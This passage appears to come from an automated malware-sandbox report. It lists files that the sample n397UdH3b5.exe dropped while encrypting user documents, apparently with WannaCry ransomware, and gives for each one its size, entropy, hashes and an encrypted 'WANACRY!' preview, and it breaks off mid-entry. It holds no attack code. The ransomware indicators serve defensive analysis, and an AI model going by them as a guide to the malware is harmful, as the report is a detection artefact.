                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.839051111762919
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:+KDi/wsa2UNzWHGtodFpRByDh50j6kgo5qhBwzduRDLvgu:VDz2wkzdqF5HkZohBwS4u
                                                                                                                        MD5:49153FF8B26BD898E78D94A08B0D1BF1
                                                                                                                        SHA1:C1BAA23D7373ECBEEAFCA5185023E37EE39FF614
                                                                                                                        SHA-256:F2F64D688C96A0C655C8E712555AD4FB0C26F0C730EDA01428314A8277A8178E
                                                                                                                        SHA-512:71527CBF2095A0586491F5F4FE5BB87CA307322E055D4F94E6AB51E502970C4D03A652310D815DA27F560C86A4E01875D96FD639CBFE55FEDF5F2113BDD52200
                                                                                                                        Malicious:false
                                                                                                                        Preview:UZMq*..F....T..@..@.mMaB....O.C7.,..."y....-.`..Ei....hPt|{.H#$..d.@.+.....<p.].7.b..p=...P`.E.r.pB.mV3....O..J.x.:..5...=.62.y.. .......h..>.....XQ.3SU..[.3.....#...0V.!.v*..lS....@.c.f@\lG...=.........C.......U^.H.!.P...._.\..&u....?...w...h8....`......Q3.....n..Oz...I..[...[.\..<Ya@.j..#.`:..Y.f.[L@...h.JE...L(...>...GU>..S....|,.P.Vs......@..<Me.A M.d........st.#........p...bf.?....O.......q..g....6{.5ue...Eqa.".[z.....S.DM..m.....{).3.n...r...G.......).X..D...K.4.|M.!....q.....w.6.+7u?.s......RZs..Y.Sw.u......6.|.t...f9(.Q..Z...50..........A.(....=Z.%...)0.t..i.f....w^..9..2..]7+..l...|..W..5..k+..et..Wg...cn..M..:..:.._...-....o.Iv.-`.G...y.9.+...,.....;.......@k0...X1........mA.......zj..v%....J><q%D.}...Q.......X.../^-G"~&m.../....o.|...b...j...T.......O..8ep.~...p....n.....2.0j.\.0....y.a~._.h93krt.L......i....9..3..........J.RXtgu..L.....T...z.4...S.........[....uk..q..d...;g..Q7.F5.l..H..>0.......F3.!...........l.?.i.;.

                                                                                                                        C:\Users\user\Documents\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.848485010263611
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkGSLD8nc0T3O1QDaAHMtWEPaYHDG/ckCB9fLKls9NzhihuAbMjKFTlTMUyfAGg:bkvYsKPH+aYjGtM9fLVzzhiQAgOFT7Qg
                                                                                                                        MD5:6943B5E57452578049698714E31ECCD3
                                                                                                                        SHA1:44514902DC7F2833A4EDE56FC756031574674773
                                                                                                                        SHA-256:D2DFACDFBE272D540ABBA53ACA68BA079FD4F9CD1E5E8F274C8303AA4CD69708
                                                                                                                        SHA-512:B1E1DABC9B97FABBFC06D3AAB37D51D849E86C376B0ED1650A272069F873E7BC95D432B28B68A8CD2170D491F710B0071C1121C5520A30D2F0D54F224DAD995C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....T...".J..")Y.3Q.q...j.../i.lT..&..N..E.../.5.....d..................w......6b.r...O.F..p.Nl..A....3(..exO.L....Nh...'...f<.....7..|..D..O.6%..V...e.4/..._\t....[1m2$...z.. ...%..o$z....e......$......q I.z..4-..z.9....;..~m..GE...w...(..j..............}VQ.B\..4.....u.>%.j.pF..[...g...........*j..j..q.(`.E&..O......V....u8~..7..../..../.t..>.S.Z.......NN.3.....Z..6....N.'w.L...Q.Py....r..Y.D..U.{"H.........4D.&..L.J..t?.j...)...1.C.A..c.z..4{.a....p........B.../..m.ef./3..G.......,..>.h..m...W4$...z.^X|.g-^..2].K....g......D=......T.J.8\eXczz.`..`.bA.....f...Hp._.k...B.hJ..RT......\........(.g....e..t.....L......g3...#.J..X.cB....g.AGP.}..B..:..Ob.v"..o!.o...5..@..2.eM..."8:X'+<.vY.H........"..s.dv.......\.2.Q....o...emM....Y.... ~.W.9O.]..rFn.1D.h..Oa.^...i.......6.I...t,.X....~....W~+..V..).Q...=s)1..j...#*..n..0o...r.s../.y+.R.J.-..8..XB..R..bK...Q.<.:..........!...... .+..?..p..A.2....U7..+.W.W..;..w...D8S.,.-k

                                                                                                                        C:\Users\user\Documents\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.848485010263611
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkGSLD8nc0T3O1QDaAHMtWEPaYHDG/ckCB9fLKls9NzhihuAbMjKFTlTMUyfAGg:bkvYsKPH+aYjGtM9fLVzzhiQAgOFT7Qg
                                                                                                                        MD5:6943B5E57452578049698714E31ECCD3
                                                                                                                        SHA1:44514902DC7F2833A4EDE56FC756031574674773
                                                                                                                        SHA-256:D2DFACDFBE272D540ABBA53ACA68BA079FD4F9CD1E5E8F274C8303AA4CD69708
                                                                                                                        SHA-512:B1E1DABC9B97FABBFC06D3AAB37D51D849E86C376B0ED1650A272069F873E7BC95D432B28B68A8CD2170D491F710B0071C1121C5520A30D2F0D54F224DAD995C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....T...".J..")Y.3Q.q...j.../i.lT..&..N..E.../.5.....d..................w......6b.r...O.F..p.Nl..A....3(..exO.L....Nh...'...f<.....7..|..D..O.6%..V...e.4/..._\t....[1m2$...z.. ...%..o$z....e......$......q I.z..4-..z.9....;..~m..GE...w...(..j..............}VQ.B\..4.....u.>%.j.pF..[...g...........*j..j..q.(`.E&..O......V....u8~..7..../..../.t..>.S.Z.......NN.3.....Z..6....N.'w.L...Q.Py....r..Y.D..U.{"H.........4D.&..L.J..t?.j...)...1.C.A..c.z..4{.a....p........B.../..m.ef./3..G.......,..>.h..m...W4$...z.^X|.g-^..2].K....g......D=......T.J.8\eXczz.`..`.bA.....f...Hp._.k...B.hJ..RT......\........(.g....e..t.....L......g3...#.J..X.cB....g.AGP.}..B..:..Ob.v"..o!.o...5..@..2.eM..."8:X'+<.vY.H........"..s.dv.......\.2.Q....o...emM....Y.... ~.W.9O.]..rFn.1D.h..Oa.^...i.......6.I...t,.X....~....W~+..V..).Q...=s)1..j...#*..n..0o...r.s../.y+.R.J.-..8..XB..R..bK...Q.<.:..........!...... .+..?..p..A.2....U7..+.W.W..;..w...D8S.,.-k

                                                                                                                        C:\Users\user\Documents\LSBIHQFDVT.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.821770018924612
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:/VNjFsdIJAtCzs94IsaUiRTr6Ac9w1bdrw0ag9Pz7WAFMIL7:71JK5SydtcK1bdrw016s7
                                                                                                                        MD5:56F8723AA65CC7EB662410C8F4698049
                                                                                                                        SHA1:76BF7E4155F6FD719598F68D81DE872E5B4DE376
                                                                                                                        SHA-256:9EB5BCA90CE36532ED783CA7568E35B34551B30D7B2237BCA73B1A3AFF7E00CD
                                                                                                                        SHA-512:D04BDC598DB1A2ABD97FA356FDBD9FC551EB66E4F6463EA67FFC854E1ABBC67ACBF1031254C2394AFC4DF898F8DF305B851E04EDB33CB764B1356107E25528D6
                                                                                                                        Malicious:false
                                                                                                                        Preview:..{[...G.u.)R).,.\.%_.........,.......A7.2 .F.4FS).o...sA.a..+6..I?.I.E."...OT....}}&.Z^y....2O$.i.=Z.......F,..&.%.?.;.D...._.ZG.>.K.+Ch0/..3.UQ.H.3~..^..I...>e.... .%.HFq..MSq.o.....1AM....i.....7..46...3D/4..+..m`.@.g...!._...RH.Ik....Js.8.:...U..k.....M...A..:.i.?^..g~.. C..z.7..u...1.+1..''J..'0A.?.<.U..).L-....p....-..>...R...?..2.k....d............q.S.y.h..SB.r........6_....S.|.l...m.w..~!.vN r'..MT..2.:\..x.......9.MXP..,...r.X..2|bW..j......z3..K#.4}....u4....q.I.{......=.gs........V...&.,........m0.LXk.X.6..W.......LE..{k.......I.a2-....ARN?V6!q.z.%...2......+....i......u....7.4........V.j|....l.!....(...Z..[.`...[...9$..@...,..=s.0.x......4...:..:.....uD.......+.9.......L.b.R....n.a\.2..|...*.......vR.&...}sb.........H..W.<....%.i.Q.m.Z....c...U}.Y...F.Q...q.h..S..V-./.e.c.. ......A3...M........./.@..9x.........dL..I...W..`Bz...m.~m..Gwd....,...D.F+.txft..(Mv...,\L...|.!lU......5f+..tnO~.X].r.."Ns..5.....B.......*W.

                                                                                                                        C:\Users\user\Documents\LSBIHQFDVT.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.85194331319986
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bksJgrDtymOXOLvqBxJEXgcxJlSveCWkcaUzTXh4l8+NQfTV9MNG:bkvrDtymkOeBGgw4HRJoTXul8+ufTIG
                                                                                                                        MD5:209BF3A432142E94C1A1CA3F471BA82E
                                                                                                                        SHA1:D93D86A8B5FCF872583E3C1ADFA7EDA23C1E74AD
                                                                                                                        SHA-256:B65D7B01E31F2642C0FDE62BC99E14E2BE6122EE2ED936829C94B30F76C1FA8D
                                                                                                                        SHA-512:FCBE031CF34C59685DFF980C538EC30ADA7C7CF9C11B25C19E9E081CBC09AABCA53400B936300463DFDA8A20155749F274A55DFC373C6D599DBF50387DBF038D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.... ..6...vD..F(]'.Qe..d...'F.4s.?.S...._...n.6.tK".m.8.-[...z...!vd....T...&.9".<.2..........t..r.(..w`._C`...~K.+.10......0.%......G....+Xu.....tyjc....N..(...}......1.>J..'2..>..r{5%...#...9....u:U.~.......*[...rK.61...K.....U....Z.L.d.H5..|qC............P.k ...>.|lC..:...Z........@*...:..Z`.'.Dt..Ft..E.$##.t...s.....u...y../...c.|.C.Y.ty.kl.K.3kjl.`+.&.^..QK....x...`...`....+......Gu..FV .8M..;...a........T.w....N..Z]O..f(..j....t.;!....>9UC..^W....~.}...*V...{h.. .....&J..(Z(sSB.........,.8..*..h.!...A.~.B...f.f4..N3..I.)....q.....r.f...._M\....b0:..H...K....Xs.5...G.Pg..I0.....,..SZ3/}.....jn...yD......][3.=......8..H)..8.......\..A`.D#.i.?QQ..+=.[.?..w..Y/zGL..I.P.....~n.y.'.....s.v...z..&@.|(.>.5y..'.ei.'Y....Y3O....)..6.k.{.qM.L.....UZ...b....b...7..PQ3."*.HB.l.7s....4...".U+.p.&.:.....+v...3.T..|/.U|..r....\.e.:U..5.Dw$.A%..(........D.....0.....=@....4`.....-..S....w.j.......Qi.Y*y.......<.h....oZ.a.\....XR....-]dR..3

                                                                                                                        C:\Users\user\Documents\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.85194331319986
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bksJgrDtymOXOLvqBxJEXgcxJlSveCWkcaUzTXh4l8+NQfTV9MNG:bkvrDtymkOeBGgw4HRJoTXul8+ufTIG
                                                                                                                        MD5:209BF3A432142E94C1A1CA3F471BA82E
                                                                                                                        SHA1:D93D86A8B5FCF872583E3C1ADFA7EDA23C1E74AD
                                                                                                                        SHA-256:B65D7B01E31F2642C0FDE62BC99E14E2BE6122EE2ED936829C94B30F76C1FA8D
                                                                                                                        SHA-512:FCBE031CF34C59685DFF980C538EC30ADA7C7CF9C11B25C19E9E081CBC09AABCA53400B936300463DFDA8A20155749F274A55DFC373C6D599DBF50387DBF038D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.... ..6...vD..F(]'.Qe..d...'F.4s.?.S...._...n.6.tK".m.8.-[...z...!vd....T...&.9".<.2..........t..r.(..w`._C`...~K.+.10......0.%......G....+Xu.....tyjc....N..(...}......1.>J..'2..>..r{5%...#...9....u:U.~.......*[...rK.61...K.....U....Z.L.d.H5..|qC............P.k ...>.|lC..:...Z........@*...:..Z`.'.Dt..Ft..E.$##.t...s.....u...y../...c.|.C.Y.ty.kl.K.3kjl.`+.&.^..QK....x...`...`....+......Gu..FV .8M..;...a........T.w....N..Z]O..f(..j....t.;!....>9UC..^W....~.}...*V...{h.. .....&J..(Z(sSB.........,.8..*..h.!...A.~.B...f.f4..N3..I.)....q.....r.f...._M\....b0:..H...K....Xs.5...G.Pg..I0.....,..SZ3/}.....jn...yD......][3.=......8..H)..8.......\..A`.D#.i.?QQ..+=.[.?..w..Y/zGL..I.P.....~n.y.'.....s.v...z..&@.|(.>.5y..'.ei.'Y....Y3O....)..6.k.{.qM.L.....UZ...b....b...7..PQ3."*.HB.l.7s....4...".U+.p.&.:.....+v...3.T..|/.U|..r....\.e.:U..5.Dw$.A%..(........D.....0.....=@....4`.....-..S....w.j.......Qi.Y*y.......<.h....oZ.a.\....XR....-]dR..3

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.8139448965936
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:fe5EAVSeYBwOWszWmeOQl19Ni92QCxhCS9OD6pHFMqyKOayVbNImWt8:fe5EcP8v3zFeN9NUifv97lryK1y7Wt8
                                                                                                                        MD5:AB492D1230B377927654343C7A454A8F
                                                                                                                        SHA1:819FB74CAE5CAA35F89738416843F9C32747E149
                                                                                                                        SHA-256:C05C2CD8BE3BA6A0CBF7A3029B98B13C6775366F7C672B0C6CFCA3C0F7A92D9A
                                                                                                                        SHA-512:8EE281106F9A88C557644CF0BED9DF08470CDD5D34F7143458BE0C26F3855274229D311F80F39D9DB6A01E68263AD07C94857671A7FB73DFDDB068D3ABE0CD93
                                                                                                                        Malicious:false
                                                                                                                        Preview:............LN.8.#E.>.H.F9E(.......f*Jf.......>...f.....y..*.\?A*..;.~x..:.3..0.J'i.U.A0.?~.Je.....I"S.{I...ooE].].)..=...B....\.w.20.F.'u^....../-.o.f...]..X.......H,....o[".}..W....V.5..v[b.&.....X.......d.@......<...S?!...... >.....l*H.....q...Y........Rq...3=_...9C.C.....]..$. ..Y...*...a.~..[V..]Nr#q.@Vj.V.}~E_..4...%|1.^...l..9........*$..3.1CE....|`..y...<.U..k .....r?xL...."7$......!x.2.0..3=....48n.....c%P.x..[....M.MHjF.I.o...?,Fa...C....d..zRP.\....H`....@..o.........u...+.4..*..2..D..o.".L#....z....e.y.`..l"/.u......9..@<[. .N....B....z...So..{*.......#m{...ep}TZ..6...-...m..w..........F.K.q@..[=L...y..&u#).s............j..,..o.i...D...v..d...jG...X......[.....a.....0^o..i.#`..SnV..%.]h.\...[...yk...X...v.xE.<c...&.&....:.P8...D`.).P..3O^.'X.......\.....c..K....MU...k.z.........P<o.(..|..B..A...#.....3.'Jd.GQo.e..6.3s-...D..Z....V.............K....h."...G.}2;..:fSZ}i.L8..O.;.X.kb75.g...M.[......*...&.e0.~._-.....,~}

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.852823133891351
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwmAFxP8IbQydK9WwHOgUIO/uPI83YhiuFfwweMGlKQ:bkROnVdK9xuX5ughNxwwpQ
                                                                                                                        MD5:1C51CA10822B2C18CAFC33D38441DC0A
                                                                                                                        SHA1:D42BA8CEE6ADE135A9579D5F05FC80EA023A19E3
                                                                                                                        SHA-256:1571EB6E5E49D1011679550A64A279D11D695830AFFB7BD73AFCEB462B34099B
                                                                                                                        SHA-512:EA907D2A1672157B33EAAB674B6EC7549803F124214FDD9A062E3C1BD59C052848F5F9A80A0126D1E411EAB674739F54FCC431DDFAD8DD08A83764AE36E9278D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......&.'%hV...N..1..<c.f.....M......2..HZ<.....G.....ra.6..WTd.W^..KY..9.x+..l.o*@..(v'|.T.....y.......}.J.v..T.._vg.......I..^.....0.....cN..e..Y.;.....Q.O.....)&~.....z..S..ST.4T+.n..I.K..<M..../......a......Q...- ..w4..D..f...W..l}t..)...............:..Z. ..J....N.+Ex0c."6..;=.A.3....mkw.[.v....S.&.G-..._\.hL..$.5s...Hz".......x6...8.r..)s....../O.oXb...]E.....<.l.jR.......3.[.G....pR...i....&...<.j..p..TG.9.G......q..N.:#\..{...rl7@K.5O...l../....V$...O+..+.u.M..>.T.b7...E..^sR;..h".}...o..p.0ik5..e8.Ja......}...$.Q7.i......<.....;....M......D... ...G.WzQ..^..g...0U.|.....V".:...}Z.V..e.d.*6E.a!^.N..1.w..7...`s.Hr.1I.B......5..f..oD.K.N......O.T...+6.*..X.Z.S..oe..m*..*._.eHQq.........w...;H.)i.\'[....:j(.w..XXg..Ob...^.".q...sc)...n...*.0P....:..eo..7J.pz..z..=QC...n.0..U..k=3Z...{.;...g.1.......|..".... .....,X.J..N....=.-@...P.F$./.`.'.S.e..O9{....?*l7........k>c.......I..@-n..h?{E.H..I.t..@....W;....O..:.k5...1{RT.......

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.852823133891351
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwmAFxP8IbQydK9WwHOgUIO/uPI83YhiuFfwweMGlKQ:bkROnVdK9xuX5ughNxwwpQ
                                                                                                                        MD5:1C51CA10822B2C18CAFC33D38441DC0A
                                                                                                                        SHA1:D42BA8CEE6ADE135A9579D5F05FC80EA023A19E3
                                                                                                                        SHA-256:1571EB6E5E49D1011679550A64A279D11D695830AFFB7BD73AFCEB462B34099B
                                                                                                                        SHA-512:EA907D2A1672157B33EAAB674B6EC7549803F124214FDD9A062E3C1BD59C052848F5F9A80A0126D1E411EAB674739F54FCC431DDFAD8DD08A83764AE36E9278D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......&.'%hV...N..1..<c.f.....M......2..HZ<.....G.....ra.6..WTd.W^..KY..9.x+..l.o*@..(v'|.T.....y.......}.J.v..T.._vg.......I..^.....0.....cN..e..Y.;.....Q.O.....)&~.....z..S..ST.4T+.n..I.K..<M..../......a......Q...- ..w4..D..f...W..l}t..)...............:..Z. ..J....N.+Ex0c."6..;=.A.3....mkw.[.v....S.&.G-..._\.hL..$.5s...Hz".......x6...8.r..)s....../O.oXb...]E.....<.l.jR.......3.[.G....pR...i....&...<.j..p..TG.9.G......q..N.:#\..{...rl7@K.5O...l../....V$...O+..+.u.M..>.T.b7...E..^sR;..h".}...o..p.0ik5..e8.Ja......}...$.Q7.i......<.....;....M......D... ...G.WzQ..^..g...0U.|.....V".:...}Z.V..e.d.*6E.a!^.N..1.w..7...`s.Hr.1I.B......5..f..oD.K.N......O.T...+6.*..X.Z.S..oe..m*..*._.eHQq.........w...;H.)i.\'[....:j(.w..XXg..Ob...^.".q...sc)...n...*.0P....:..eo..7J.pz..z..=QC...n.0..U..k=3Z...{.;...g.1.......|..".... .....,X.J..N....=.-@...P.F$./.`.'.S.e..O9{....?*l7........k>c.......I..@-n..h?{E.H..I.t..@....W;....O..:.k5...1{RT.......

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.814932412788956
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Vrqcz0Ew3t8yhbVJ2CyoBpeGbukf/JiMhJ95UbMrH:Jq13WyhbtDs0OYT
                                                                                                                        MD5:9E3A9E3147F485FB8F5601D13D0BECF0
                                                                                                                        SHA1:8CE4F5E8D848FFD14A3E0F7E1F33141AAA8E297D
                                                                                                                        SHA-256:AEBB2C29BA63596603387E7EEA81270FD8A11FC168C4554BF6CD3A1A4185E2AC
                                                                                                                        SHA-512:11703C0A7094BDFADBE851EB3CFF32E31B8C047A992E2582374EF48A63F44959057574A6517A2FC45ED265521951D25DA1856000315AE40E1C2CF608E6E5BCBA
                                                                                                                        Malicious:false
                                                                                                                        Preview:_Z.!.A..@..TS..3..sD.G.&^*.....Ja...?|. ....y.X.3.>...5V.FOz..X.r>.H..Z..<.ho.E...C`.c.....q..!.k6.......s...`..;......J..K.....:....F....`z..?Ly......HP.Ra..Y..>|FL.(.e...%.c....1.JJ.._.(...Y.J...x._;.bI......+.1..S...../...@.o.m.sK8...b.:i....~...24F....|..b.f&..K)r.3.......#...z.W..K....f.U......`...$j.+..._u,.X.fI.. ......a....A..+&9.pI.!.v.L..g...:...]j..f7.t0.IPx.P.....E..}4<.$...{u..KT.TC.3..;.....q..a>...b(...nH...X....G8.;.0.4C..k.g;.x.FY#..#y..N..K..e..V..){.2P#.....q./........G....sK.....iA.)}.KE....$e..f_...A/,...m...&....P..ZuV....O...O.-D.m4[.....+...V....UT9... ..8....j....I..:........k..V.,...F..K~...pEzO..$v;O..x.M..d...U.p.X.>.....y..F"O.K.......7.z.zSE6....S.L.."..$...E.........D.d.3..h..>o8..3k....C.._....)2..s...9L6..D..{..4.I.....TO.do..ks@k..*..A.".O-'.>\....a1(t.....0..t.vU..}..Q.m.;./Y...2..X...8..CK..&,..R,..6.G...G.Z^.~.K...\y..g.M...0..e'.9%..g~'........B.c..L%F..B..d........1.~N.......B..9....D.R.4.....w

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.85123616571506
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4KRBTKLDKHnIooeZXurwoqMTr7MSC7inuISXH78vKIEKFQLM0ECsbWN8:bk4KRBTSc5hXurwd7gLSXH78vKIXFQcX
                                                                                                                        MD5:90073E367ED772B0112C7B91FE6E30F0
                                                                                                                        SHA1:6927567AF2429E6E9A09231928DA308A026EE4B5
                                                                                                                        SHA-256:9606EEB746D76C9223C8E61E1FCB7BA187FCFA86E7EC9E9E495B29D146EF386F
                                                                                                                        SHA-512:FF7C576AAE5333F62A0261CCE932FC920D37335BF9326728955C2F2371775602E5FB6759CF08FA5D13D31308E1FC4B498F2F8AD5C55CB1F5B2B09780D885CF68
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......9.....N`..D..*d .u.....qX........&Hx.\..=A..KAo.S}:.$...t...H#s(.y.4.>.%&.....Bt....f...F$T?.J.y..._.8.d..&s......Q..N...x.....L...ZJ..7LX..~.r......R.b..X....<cl6.hm..$...m.....|..)lq~..\R...*...4...Ce~..lq4.s.`..I...!d..o....].....R.-.......................8Sx..y....i.e...z..f..u."|Eg.$J.JH..\`....P .e.....A.f..u..8.3H.S:o...?.....u..t..K...X......4.C..*r8...G...j` .....%R..>...C..V....O2.......H(..Y.c..Y.4RhB........D64.|.p@......."..:..?.&i..g"..b.../.<...6....\....d .=N..Q>A.I..c.A6[..yr......U..L......=..fZ.*.l.78{..S...=..W.#.v.m......8...|..b........{{...A....6.2.j.1C....]...\......]S].B..9..yC..I^S..*Q..?.....=fM..T........bJ..........'..c..q..1.k.VC....o.S.J.i.8.W}dZ......:_..%..e.bYhm>6 .._..O...5....p..@..5/.#3M........Knq..E..ra.T.m.........c...OwoR......-.. *.2...bS.G.4.JN.cOb.VW...?a....*..6f....>$..3.d.bg.7n.s/...4|..pET........i... .Q..5h..>.*q..s;.`n..9.A.vU..}Y.... :..s...u....k.x. ./*..q*..

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.85123616571506
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4KRBTKLDKHnIooeZXurwoqMTr7MSC7inuISXH78vKIEKFQLM0ECsbWN8:bk4KRBTSc5hXurwd7gLSXH78vKIXFQcX
                                                                                                                        MD5:90073E367ED772B0112C7B91FE6E30F0
                                                                                                                        SHA1:6927567AF2429E6E9A09231928DA308A026EE4B5
                                                                                                                        SHA-256:9606EEB746D76C9223C8E61E1FCB7BA187FCFA86E7EC9E9E495B29D146EF386F
                                                                                                                        SHA-512:FF7C576AAE5333F62A0261CCE932FC920D37335BF9326728955C2F2371775602E5FB6759CF08FA5D13D31308E1FC4B498F2F8AD5C55CB1F5B2B09780D885CF68
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......9.....N`..D..*d .u.....qX........&Hx.\..=A..KAo.S}:.$...t...H#s(.y.4.>.%&.....Bt....f...F$T?.J.y..._.8.d..&s......Q..N...x.....L...ZJ..7LX..~.r......R.b..X....<cl6.hm..$...m.....|..)lq~..\R...*...4...Ce~..lq4.s.`..I...!d..o....].....R.-.......................8Sx..y....i.e...z..f..u."|Eg.$J.JH..\`....P .e.....A.f..u..8.3H.S:o...?.....u..t..K...X......4.C..*r8...G...j` .....%R..>...C..V....O2.......H(..Y.c..Y.4RhB........D64.|.p@......."..:..?.&i..g"..b.../.<...6....\....d .=N..Q>A.I..c.A6[..yr......U..L......=..fZ.*.l.78{..S...=..W.#.v.m......8...|..b........{{...A....6.2.j.1C....]...\......]S].B..9..yC..I^S..*Q..?.....=fM..T........bJ..........'..c..q..1.k.VC....o.S.J.i.8.W}dZ......:_..%..e.bYhm>6 .._..O...5....p..@..5/.#3M........Knq..E..ra.T.m.........c...OwoR......-.. *.2...bS.G.4.JN.cOb.VW...?a....*..6f....>$..3.d.bg.7n.s/...4|..pET........i... .Q..5h..>.*q..s;.`n..9.A.vU..}Y.... :..s...u....k.x. ./*..q*..

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.787597218096481
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:pPD2eaWlzcyDgTDl4XIuHzpepSE4xUPharTvM45IiE7+k3:7a9ZTJiIIEr4yPhWg+k3
                                                                                                                        MD5:7DC92832A13FFC758B7CC9E2E8FA0312
                                                                                                                        SHA1:3CCEC79BE97C134101D7F0DB88D0DEF0861ABEB9
                                                                                                                        SHA-256:6CC3FE2EBEF7AE9DE8779D7D49B234BDBDB6998433438AE6258F16E439105364
                                                                                                                        SHA-512:1D3E395AE68AE3E31719B3D486C8B3584A5357B637562911D81595FDB7AB2626576D02BCA93721C8A17159C2D3AE72BEB2EEF0DD17691AEDF5716C55952E99D8
                                                                                                                        Malicious:false
                                                                                                                        Preview:..t>.MUZ...m.u;t....UGB.[iT)Ki.p2`B@....;p..C..,0.......g.v..5....._...J:.<..uK`.....8d.G.....~..0.D.......1 .@a..6...l..[>..y...b..j#g.Pq1.|.!.#Q....C....U..?Q.>...h*..1_../.!W..=."..|.[4..C.d....4.R...W$...[..U.Y%en.E.oy.../...2.1 }W.f.B....f.A.h..\/.>..j?..$.....J.q..D-...D.n&tWd..Vg'4g..27..R.t.F.. .k0A\.Vq.J.....n...Z..@.......D.{F.T...Xh7).3F..L...J..7.+..^....5./(...s$.#...S.lP;9r.^..E"...>y...~.........?:U...hu.W..T..@h.D..FR...d..2.4.jU.}"..3.....5m~....2.JP.X.J....].47..+.)..p....0.Q.~.=...=a...o2.9..3_.dZmMK.t......pi^...J.3.t...U.X...(._>F1..".o...j.j..wl@dt........A.}.E.[Z.CS..%x?....GI.......*/A!}7...3.|..nf...)!#..3..U.W..h.......=@Y..2..o.....,]. v...x4.j.."...E...&P.]4.@..Z.......?............._L...i;<.kN...@.?B.R..(.xq_.S|Z....Z.I#.E.H..3X.U..A.Dr.2.3.!...W\..4F.e8...q,.....^..5v...\4...nK.AL.lN..&."A..7.,....[K............8.(.<.+$._..G.0.$.;s..s."N4.`..:....x..a.y_dO.`n5.5Sh..;..>..a.U..7r9$..A.5m....%.3..@.k60.....b./..J.

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.83718470633865
